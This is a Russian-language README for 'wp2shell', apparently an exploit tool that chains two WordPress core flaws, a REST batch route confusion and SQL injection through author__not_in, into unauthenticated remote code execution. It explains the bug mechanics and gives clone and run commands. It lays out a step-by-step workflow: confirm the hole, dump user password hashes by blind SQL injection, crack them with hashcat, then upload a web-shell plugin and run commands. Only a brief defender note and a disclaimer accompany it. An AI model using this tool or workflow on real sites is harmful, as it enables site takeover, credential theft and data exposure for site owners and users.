
Неаутентифицированное удалённое выполнение кода (RCE) в ядре WordPress позволяет злоумышленникам выполнять произвольный код без входа в систему, связывая CVE-2026-63030 и CVE-2026-60137, что потенциально может привести к полной компрометации сайта.
Неаутентифицированное удалённое выполнение кода для WordPress Core POC (CVE-2026-63030 + CVE-2026-60137)
wp2shell — эксплойт для критической цепочки уязвимостей в ядре WordPress. Он объединяет ошибку путаницы маршрутов пакетных запросов REST API с SQL-инъекцией в WP_Query для достижения неаутентифицированного удалённого выполнения кода на уязвимых установках WordPress.
| Деталь | Информация |
|---|
| CVE | CVE-2026-63030 (путаница маршрутов пакетных запросов REST) + CVE-2026-60137 (SQLi через author__not_in) |
| Затронуты | WordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 |
| Исправлено | 6.9.5, 7.0.2 |
| Требуется аутентификация | Нет — неаутентифицированно |
| CVSS | Критический (цепочка RCE) |
| Обнаружил | Adam Kues (Assetnote / Searchlight Cyber) |
| Зависимости | Python 3.8+ — только стандартная библиотека |
Эксплойт объединяет две ошибки в ядре WordPress:
CVE-2026-60137 — SQL-инъекция – Когда author__not_in передаётся в виде строки вместо массива, WordPress пропускает защитную проверку is_array() и подставляет сырое значение в SQL-выражение NOT IN (...).
CVE-2026-63030 — Путаница маршрутов пакетных запросов – Конечная точка /wp-json/batch/v1 строит параллельные массивы $matches и $validation. Некорректный подзапрос добавляется в $validation, но не в $matches, что вызывает смещение индекса на +1. Подзапрос i обрабатывается обработчиком подзапроса i+1.
В совокупности: запрос POST /wp/v2/posts, несущий внутренний запрос GET /wp/v2/users со строкой author_exclude, обходит как список разрешённых методов, так и санитизацию ввода. Строка попадает в WP_Query как author__not_in и интерполируется в SQL — что даёт вам неаутентифицированную слепую SQL-инъекцию.
После этого инструмент может:
| Возможность | Описание |
|---|---|
| Проверка уязвимости | Безопасный зонд с временной задержкой — не читает данные, ничего не изменяет |
| Извлечение данных | Слепая SQL-инъекция с оптимизацией бинарным поиском для эффективного извлечения |
| Дамп хешей пользователей | Извлечение user_login и хешей user_pass из wp_users |
| Удалённое выполнение кода | Аутентификация как администратор, загрузка плагина-веб-шелла, выполнение команд |
| Интерактивная оболочка | Сеанс постоянного выполнения команд |
| Цветной вывод | Наглядная визуальная обратная связь по результатам сканирования |
| Без зависимостей | Используется только стандартная библиотека Python |
git clone https://github.com/lucifer0xf/wp2shell-Wordpress-TOWN.git
cd wp2shell-Wordpress-TOWN
chmod +x wp2shell.py
Вот и всё. Сторонние пакеты не требуются.
./wp2shell.py <url> [command] [options]
./wp2shell.py http://target.com
Запускает интерактивное меню со всеми функциями, доступными через пронумерованные опции.
check — Подтверждение уязвимости (безопасно)Выполняет зонд с временной задержкой для подтверждения эксплуатируемости. Не читает данные и ничего не изменяет.
./wp2shell.py http://target.com check
read — Извлечение данных (слепая SQL-инъекция)Извлекает информацию из базы данных с помощью времязависимой слепой SQL-инъекции.
# Отпечаток сервера (версия, база данных, пользователь)
./wp2shell.py http://target.com read
# Извлечение логинов пользователей и хешей паролей
./wp2shell.py http://target.com read --users
# Извлечение имени базы данных
./wp2shell.py http://target.com read --database
# Извлечение версии MySQL
./wp2shell.py http://target.com read --version
# Произвольный SQL-запрос
./wp2shell.py http://target.com read --query "SELECT @@version"
shell — Удалённое выполнение кодаТребуются действительные учётные данные администратора. SQL-инъекция может восстановить хеш пароля, но вы должны указать восстановленный пароль в открытом виде.
# Выполнение одной команды
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd "id"
# Выполнение одной команды (краткая форма)
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd whoami
| Опция | Описание |
|---|---|
--users | Извлечь user_login и user_pass из wp_users |
--database | Извлечь имя текущей базы данных |
--version | Извлечь версию MySQL |
--query "SQL" | Выполнить произвольный SQL-запрос (слепое извлечение) |
--user USER | Имя пользователя администратора для RCE |
--password PASS | Пароль администратора для RCE (в открытом виде, восстановлен через SQLi) |
--cmd CMD | Команда для выполнения через веб-шелл |
# 1. Проверка, уязвима ли цель
./wp2shell.py https://example.com check
# 2. Извлечение хешей паролей администратора
./wp2shell.py https://example.com read --users
# 3. Взлом хеша офлайн (с помощью hashcat, john и т. д.)
# hashcat -m 400 <hash> /path/to/wordlist.txt
# 4. Выполнение команды с восстановленным паролем
./wp2shell.py https://example.com shell --user admin --password 'cracked_pass' --cmd "id"
| Ветка | Затронуты | Исправлено |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | 7.0.2 |
| 6.8.x | 6.8.0 – 6.8.5 (только SQLi, без RCE) | 6.8.6 |
Версии до 6.9.0 не затронуты полной цепочкой RCE.
Для защитников:
POST /wp-json/batch/v1 с вложенными телами requests404 на маршруте batch не всегда означает «исправлено» — она также может означать, что WAF/CDN блокирует анонимный доступ к REST APIЭтот инструмент предназначен только для образовательного и авторизованного тестирования безопасности.